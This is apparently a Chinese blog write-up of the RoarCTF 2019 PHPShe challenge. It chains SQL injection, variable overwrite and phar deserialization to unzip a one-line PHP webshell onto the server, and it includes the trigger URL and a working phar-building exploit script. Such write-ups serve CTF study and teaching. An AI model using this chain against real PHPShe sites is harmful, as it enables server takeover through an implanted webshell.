CTF Web安全

[RoarCTF 2019]PHPShe(注入+phar反序列化)

Posted on 2020-06-20,2 min read

首先就是PHPShecms的sql注入。
在基础上。用无列名注入注出密码

然后登陆后台。。看WP。说是在源码中的类文件进行了修改

跟踪下extrac函数的第一个参数。发现这是个PCLZIP解压缩。savepath。应该是压缩文件解压缩的路径

这里我们可以将一句话木马压缩为zip上传。然后通过触发这个解压缩。到指定上传目录。
继续看触发点
在admin.php。首先包含了一个common.php。存在变量覆盖

然后对变量加上前缀。进行处理

第三个选项。在前缀和键值中会加一个下划线
继续看。可以包含任意目录的php文件

利用变量覆盖。包含admin目录下的moban.php
只有它引用了pclzip.class.php

swith。一个act参数。
进入del。

pe_dbhold函数。主要就是addslashes。htmlspecialchars。转义什么的。
进入pe_dirdel函数。带入参数tpl。if_exists。触发phar反序列化。

ok。构造phar。上传phar和zip。然后反序列化触发destrcut解压一句话到上传目录
这里。我们还漏了一个东西。就是del后的第一个函数

需要提交token和referer。找下token在哪生成

最后。触发phar反序列化
http://1ccb4b36-6561-4c5b-8e5b-10103cd8f8e8.node3.buuoj.cn/admin.php?mod=moban&act=del&token=e7e44f204371fcf3072dcd5c4097764e&tpl=phar:///var/www/html/data/attachment/brand/2.txt
pharexp

<?php
class PclZip
{
    var $zipname = '';
    var $zip_fd = 0;
    var $error_code = 1;
    var $error_string = '';
    var $magic_quotes_status;
    var $save_path;
    function __construct($p_zipname)
    {
        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;
        return;
    }
}

$f=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$f->save_path='/var/www/html/data';
echo serialize($f);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($f);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

下一篇: Connect-The-Dots 靶机渗透→